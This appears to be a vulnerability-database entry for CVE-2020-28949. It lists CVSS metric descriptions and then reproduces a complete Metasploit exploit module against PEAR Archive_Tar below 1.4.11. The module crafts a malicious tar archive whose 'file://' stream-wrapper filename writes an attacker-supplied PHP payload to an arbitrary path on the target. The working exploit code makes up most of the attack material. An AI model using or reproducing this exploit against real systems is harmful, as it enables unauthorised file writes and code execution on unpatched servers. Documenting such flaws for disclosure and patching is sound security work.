The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: PEAR Archive_Tar Arbitrary File Write
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/tar'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PEAR Archive_Tar < 1.4.11 Arbitrary File Write',
'Description' => %q{
This module takes advantages of Archive_Tar < 1.4.11's lack of validation of file stream wrappers contained
within filenames to write an arbitrary file containing user controlled content to an arbitrary file
on disk. Note that the file will be written to disk with the permissions of the user that PHP is
running as, so it may not be possible to overwrite some files if the PHP user is not appropriately
privileged.
},
'License' => MSF_LICENSE,
'Author' =>
[
'gwillcox-r7', # Metasploit module
'xorathustra', # Original advisory and PoC
],
'References' =>
[
['URL', 'https://github.com/pear/Archive_Tar/issues/33'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28949'],
['CVE', '2020-28949']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => true
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Archive_Tar < 1.4.11', {}]
],
'Privileged' => false,
'DisclosureDate' => '2020-11-17'
)
)
register_options([
OptString.new('FILEPATH', [true, 'The full path to the file to write on the target.', '/tmp/msf.php'])
])
end
def exploit
# Create malicious tar archive
tarfile = StringIO.new
Rex::Tar::Writer.new tarfile do |tar|
tar.add_file "file://#{datastore['FILEPATH']}", 0o644 do |io|
io.write payload.encoded
end
end
tarfile.rewind
file_buffer = tarfile.read
print_status "Writing file: #{datastore['FILENAME']} (#{file_buffer.length} bytes) ..."
file_create file_buffer
end
end